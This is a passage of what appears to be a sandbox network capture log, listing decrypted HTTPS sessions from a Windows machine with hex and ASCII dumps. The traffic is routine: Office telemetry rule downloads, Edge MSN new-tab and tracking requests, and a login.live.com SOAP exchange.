2024-11-09 21:09:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:48 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: b7767140-601e-0070-065b-32a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-17df447cdb5vq4m4hC1DFWrbp80000000800000000001p5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:48 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 5cc9dcca-b01e-0021-6649-32cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-15869dbbcc6b2ncxhC1DFWu4ss000000028g00000000dfq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:48 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:48 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-16547b76f7f9bs6dhC1DFWt3rg0000000bkg00000000mdqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:48 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49913	20.99.185.48	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0722F0CD1C5A69A60479E5FF1DAB68A5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=29ab0aed2eee4220dbd1211e769df0e9 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
2024-11-09 21:09:48 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2667 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132707-T700343875-C128000000002113389+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113389+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 09 Nov 2024 21:09:48 GMT Connection: close
2024-11-09 21:09:48 UTC	2667	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 72 6f 6d 73 c3 b8 2c 20 4e 6f 72 77 61 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 61 75 72 6f 72 61 2b 62 6f 72 65 61 6c 69 73 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Troms, Norway\",\"cta\":\"https:\/\/www.bing.com\/search?q=aurora+borealis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49912	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-09 21:09:48 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-09 21:09:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 09 Nov 2024 21:08:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C524_BL2 x-ms-request-id: 77fa4812-56a8-4ecc-b7e4-cc8722549f91 PPServer: PPV: 30 H: BL02EPF0001D7E4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:48 GMT Connection: close Content-Length: 11392
2024-11-09 21:09:49 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:48 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:49 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0aff24d-301e-000c-58d2-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210948Z-16547b76f7fx6rhxhC1DFW76kg0000000br0000000004y4k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:49 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210949Z-16547b76f7ftdm8dhC1DFWs13g0000000bs0000000000xzb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 395ef327-501e-008f-6c42-329054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210949Z-17df447cdb57g7m7hC1DFW791s00000007wg00000000mpad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49921	20.125.209.212	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	1279	OUT	GET /c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E74B85AA8FF2479AA80487924EBFDDA9&MUID=0722F0CD1C5A69A60479E5FF1DAB68A5 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-09 21:09:49 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; domain=.msn.com; expires=Thu, 04-Dec-2025 21:09:49 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0722F0CD1C5A69A60479E5FF1DAB68A5; domain=c.msn.com; expires=Thu, 04-Dec-2025 21:09:49 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 16-Nov-2024 21:09:49 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 09-Nov-2024 21:19:49 GMT; path=/; SameSite=None; Secure; Date: Sat, 09 Nov 2024 21:09:48 GMT Connection: close Content-Length: 42
2024-11-09 21:09:49 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
